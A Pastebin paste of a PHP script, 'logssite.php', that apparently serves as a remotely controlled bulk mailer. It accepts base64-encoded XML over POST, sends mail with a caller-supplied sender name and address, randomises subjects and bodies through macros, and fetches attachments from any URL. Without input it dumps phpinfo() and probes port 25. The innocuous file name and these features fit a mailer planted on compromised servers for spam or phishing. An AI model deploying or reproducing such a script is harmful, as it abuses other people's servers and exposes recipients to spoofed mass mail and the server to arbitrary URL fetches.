Advertisement
PalmaSolutions

logssite.php

Jun 17th, 2018
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.60 KB | None | 0 0
  1. <?php
  2.  
  3. #   $f = file_get_contents('test.xml');
  4. #   $_POST['data'] = base64_encode($f);
  5.  
  6.     if (!empty($_POST['data']))
  7.     {
  8.         $e = new Email();
  9.         $e->set_message($_POST['data']);
  10.         $e->send();
  11.        
  12.         # отображение результатов
  13.         $xml = $e->response->asXML();
  14.         echo base64_encode($xml);
  15.     }
  16.     else
  17.     {
  18.         phpinfo();
  19.         check_fsockopen();
  20.     }
  21.  
  22.  
  23. class Email {
  24.  
  25.     public $message;
  26.     public $response;
  27.     public $macros     = array();
  28.     public $recipients = array();
  29.     public $boundary;
  30.     public $type;
  31.     public $attaches = array();
  32.  
  33.     #
  34.     function set_message($str)
  35.     {        
  36.         #
  37.         $str = str_replace(' ', '+', $str);
  38.         $xml_str = base64_decode($str);
  39.         $this->message = simplexml_load_string($xml_str);
  40.        
  41.         #
  42.         $this->boundary = '--'.md5(uniqid(time()));
  43.  
  44.         #
  45.         $this->type = $this->message->template['type'] == 'html' ? 'text/html' : 'text/plain';
  46.  
  47.         #
  48. #       $this->logger();
  49.  
  50.         #
  51.         if (!empty($this->message->macros))
  52.         {
  53.             foreach ($this->message->macros->macro as $m)
  54.             {
  55.                 $name = (string) $m['name'];
  56.                 $this->macros[$name] = array();
  57.                 foreach($m->item as $item)
  58.                 {
  59.                     $this->macros[$name][] = (string) $item;
  60.                 }
  61.             }
  62.         }
  63.  
  64.         #
  65.         foreach ($this->message->recipients->email as $email)
  66.         {
  67.             $mail = (string)$email;
  68.             $this->recipients[] = array (
  69.                 'id'  => (int) $email['id'],
  70.                 'adr' => $mail,
  71.             );
  72.         }
  73.  
  74.         #
  75.         if (!empty($this->message->attaches))
  76.         {
  77.             foreach ($this->message->attaches->attach as $attach)
  78.             {
  79.                 $url = (string) $attach->url;
  80.                 $content = file_get_contents($url);
  81.                 if ($content)
  82.                 {
  83.                     $this->attaches[] = array (
  84.                         'mime' => (string) $attach->mime,
  85.                         'name' => (string) $attach->name,
  86.                         'file' => $content,
  87.                     );
  88.                 }
  89.             }
  90.         }
  91.  
  92.         #
  93.         $this->response = new SimpleXMLElement('<response />');
  94.         $this->response->addAttribute('mailing_id', $this->message['mailing_id']);
  95.         $this->response->addAttribute('base_piece', $this->message->recipients['base_piece']);
  96.         $this->response->addChild('recipients');
  97.         $this->response->recipients->addAttribute('ok', 0);
  98.         $this->response->recipients->addAttribute('err', 0);
  99.     }
  100.  
  101.  
  102.     #
  103.     function show_xml()
  104.     {
  105.         header("Content-Type: text/xml");
  106.         echo $this->message->asXML();
  107.     }
  108.  
  109.  
  110.     #
  111.     function logger()
  112.     {
  113.         $fn = 'log_'.md5(microtime()).'.xml';
  114.         file_put_contents($fn, $this->message->asXML());
  115.     }
  116.  
  117.  
  118.     #
  119.     function send()
  120.     {
  121.         #
  122.         while ($this->recipients)
  123.         {
  124.             #
  125.             $subj   = $this->replace_macros_in_text($this->message->template->subject);
  126.             $subj   = '=?utf-8?B?'.base64_encode($subj).'?=';
  127.             #
  128.             $text   = $this->make_body();
  129.             #
  130.             $header = $this->make_header();
  131.             #
  132.             $email  = array_shift($this->recipients);
  133.             #
  134.             $result = mail($email['adr'], $subj, $text, $header) ? 'OK' : 'NO';
  135.            
  136.             #
  137.             $rr = $this->response->recipients->addChild('email', $email['adr']);
  138.             $rr->addAttribute('id', $email['id']);
  139.             $rr->addAttribute('result', $result);
  140.             if ($result == 'OK') $this->response->recipients['ok']+=1;
  141.             if ($result == 'NO') $this->response->recipients['err']+=1;
  142.         }
  143.        
  144.         #
  145. #       header($bad_result ? 'HTTP/1.1 201 OK' : 'HTTP/1.1 200 OK');
  146.         #
  147. #       echo implode("\n", $report);
  148.     }
  149.  
  150.  
  151.     #
  152.     function make_header()
  153.     {
  154.         $headers = array();
  155.        
  156.         $from_mail = $this->replace_macros_in_text((string)$this->message->template->email);
  157.         $from_name = $this->replace_macros_in_text((string)$this->message->template->sender);
  158.         $from_name = '=?utf-8?B?'.base64_encode($from_name).'?=';
  159.        
  160.         $headers[] = 'From: '.$from_name.' <'.$from_mail.'>';
  161.         $headers[] = 'Message-ID: '.$this->replace_macros_in_text($this->message->template->mesid);
  162.         $headers[] = 'MIME-Version: 1.0';
  163.        
  164.         #
  165.         if (!empty($this->attaches))
  166.             $headers[] = 'Content-Type: multipart/mixed; boundary="'.$this->boundary.'"';
  167.         #
  168.         else
  169.             $headers[] = 'Content-Type: '.$this->type.'; charset=utf-8';
  170.        
  171.         $header = implode("\r\n", $headers);
  172.         return $header;
  173.     }
  174.  
  175.  
  176.     #
  177.     function make_body()
  178.     {
  179.         $text = (string) $this->message->template->body;
  180.         $text = $this->replace_macros_in_text($text);
  181.        
  182.         #
  183.         if (!empty($this->attaches))
  184.         {
  185.             $multipart = array();
  186.            
  187.             #
  188.             $multipart[] = '--'.$this->boundary;
  189.             $multipart[] = 'Content-Type: '.$this->type.'; charset=utf-8';
  190.             $multipart[] = 'Content-Transfer-Encoding: base64';
  191.             $multipart[] = '';
  192.             $multipart[] = chunk_split(base64_encode($text));
  193.            
  194.             #
  195.             foreach ($this->attaches as $attach)
  196.             {              
  197.                 $multipart[] = '--'.$this->boundary;
  198.                 $multipart[] = 'Content-Type: '.$attach['mime'].'; name = "'.$attach['name'].'"';
  199.                 $multipart[] = 'Content-Transfer-Encoding: base64';
  200.                 $multipart[] = '';
  201.                 $multipart[] = chunk_split(base64_encode($attach['file']));
  202.             }
  203.             $multipart[] = '--'.$this->boundary.'--';
  204.             $body = implode("\r\n", $multipart);
  205. #           echo "\n".$body."\n";
  206.         }
  207.         #
  208.         else
  209.             $body = $text;
  210.        
  211.         return $body;
  212.     }
  213.  
  214. # ======================================================================
  215.  
  216.     #
  217.     function replace_macros_in_text($text)
  218.     {
  219.         #
  220.         if (preg_match_all("|{(.*)}|U", $text, $out))
  221.         {
  222.             #
  223.             foreach ($out[1] as $m)
  224.             {
  225.                 #
  226.                 $dm = $this->macros_data($m);
  227.  
  228.                 #
  229.                 if ($dm['type'] == 'let') $values = $this->macros_values_let($dm['name']);
  230.                 #
  231.                 else $values = $this->macros_values($dm['name']);
  232.  
  233.                 #
  234.                 $value = !empty($values) ? $values[array_rand($values)] : '['.$dm['name'].']';
  235.  
  236.                 #
  237.                 if ($dm['type'] == 'let')    $dm['name'] = 'LET:'.$dm['name'];
  238.                 if ($dm['type'] == 'unique') $dm['name'] = '$'.$dm['name'];
  239.                 if ($dm['type'] == 'static') $dm['name'] = '_'.$dm['name'];
  240.                
  241.                 #
  242.                 $text = preg_replace('/{'.preg_quote($dm['name']).'}/is', $value, $text, 1);
  243.             }
  244.            
  245.             #
  246.             return $this->replace_macros_in_text($text);
  247.         }
  248.         #
  249.         else return $text;
  250.     }
  251.  
  252.  
  253.     #
  254.     function macros_data($macros)
  255.     {
  256.         $data = array();
  257.        
  258.         #
  259.         if (!strncasecmp($macros, 'LET:', 4))
  260.         {
  261.             $data['type'] = 'let';
  262.             $data['name'] = substr($macros, 4);
  263.         }
  264.         #
  265.         elseif ($macros[0]=='_')
  266.         {
  267.             $data['type'] = 'static';
  268.             $data['name'] = substr($macros, 1);
  269.         }
  270.         #
  271.         elseif ($macros[0]=='$')
  272.         {
  273.             $data['type'] = 'unique';
  274.             $data['name'] = substr($macros, 1);
  275.         }
  276.         #
  277.         else
  278.         {
  279.             $data['type'] = 'dynamic';
  280.             $data['name'] = $macros;
  281.         }
  282.         #
  283.         return $data;
  284.     }
  285.  
  286.  
  287.     #
  288.     function macros_values($name)
  289.     {
  290.         #
  291.         if (array_key_exists($name, $this->macros))
  292.         {
  293.             return $this->macros[$name];
  294.         }
  295.         elseif ($name == 'LINEDATE')
  296.         {
  297.             return array(date('Y-m-d H:i:s'));
  298.         }
  299.         elseif ($name == 'MAIL_TO')
  300.         {
  301.             return array($this->recipients[0]['adr']);
  302.         }
  303.         elseif ($name == 'MAILTO_DOMAIN')
  304.         {
  305.             $domain = strstr($this->recipients[0]['adr'], '@');
  306.             return array(substr($domain, 1));
  307.         }
  308.         elseif ($name == 'HOST')
  309.         {
  310.             return isset($_SERVER['SERVER_NAME']) ? array($_SERVER['SERVER_NAME']) : array();
  311.         }
  312.         elseif (preg_match('/^DIGIT\[(((\d+)-(\d+))|(\d+))\]$/', $name, $match))
  313.         {
  314.             if (isset($match[5])) {
  315.                 $ot = $do = $match[5];
  316.             } else {
  317.                 $ot = $match[3];
  318.                 $do = $match[4];
  319.             }
  320.             return array($this->generateRandomString('number', $ot, $do));
  321.         }
  322.         elseif (preg_match('/^SYMBOL\[(((\d+)-(\d+))|(\d+))\]$/', $name, $match))
  323.         {
  324.             if (isset($match[5])) {
  325.                 $ot = $do = $match[5];
  326.             } else {
  327.                 $ot = $match[3];
  328.                 $do = $match[4];
  329.             }
  330.             return array($this->generateRandomString('string', $ot, $do));
  331.         }
  332.         else return array();
  333.     }
  334.  
  335.  
  336.     #
  337.     function macros_values_let($str)
  338.     {
  339.         return explode(',',$str);
  340.     }
  341.  
  342.  
  343.     #
  344.     function generateRandomString($type, $from, $to)
  345.     {
  346.         $characters = '';
  347.         if ($type == 'string') $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  348.         if ($type == 'number') $characters = '0123456789';
  349.  
  350.         $length = rand($from, $to);
  351.  
  352.         $randomString = '';
  353.         for ($i = 0; $i < $length; $i++) {
  354.             $randomString.= $characters[rand(0, strlen($characters)-1)];
  355.         }
  356.  
  357.         return $randomString;
  358.     }
  359.  
  360. }
  361.  
  362.  
  363.     function check_fsockopen()
  364.     {
  365.         #
  366.         if (!function_exists('fsockopen'))
  367.         {
  368.             echo '<span style="color:red">fsockopen не работает!</span>';
  369.             return;
  370.         }
  371.  
  372.         #
  373.         $tests = array(25 => 'localhost');
  374.  
  375.         #
  376.         foreach ($tests as $port => $server)
  377.         {
  378.             #
  379.             $fp = @fsockopen($server, $port, $errno, $errstr, 5);
  380.  
  381.             #
  382.             if ($fp)
  383.             {
  384.                 echo '<br/><span style="color:green" >Port '.$port.' open in server!</span>';
  385.                 fclose($fp);
  386.             }
  387.  
  388.             #
  389.             else
  390.             {
  391.                 echo '<br/><span style="color:red" >Port '.$port.' no open in server!</span>';
  392.                 #
  393.                 echo " error num: ".$errno.' : '.$errstr;
  394.             }
  395.         }
  396.     }
  397.  
  398.  
  399. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement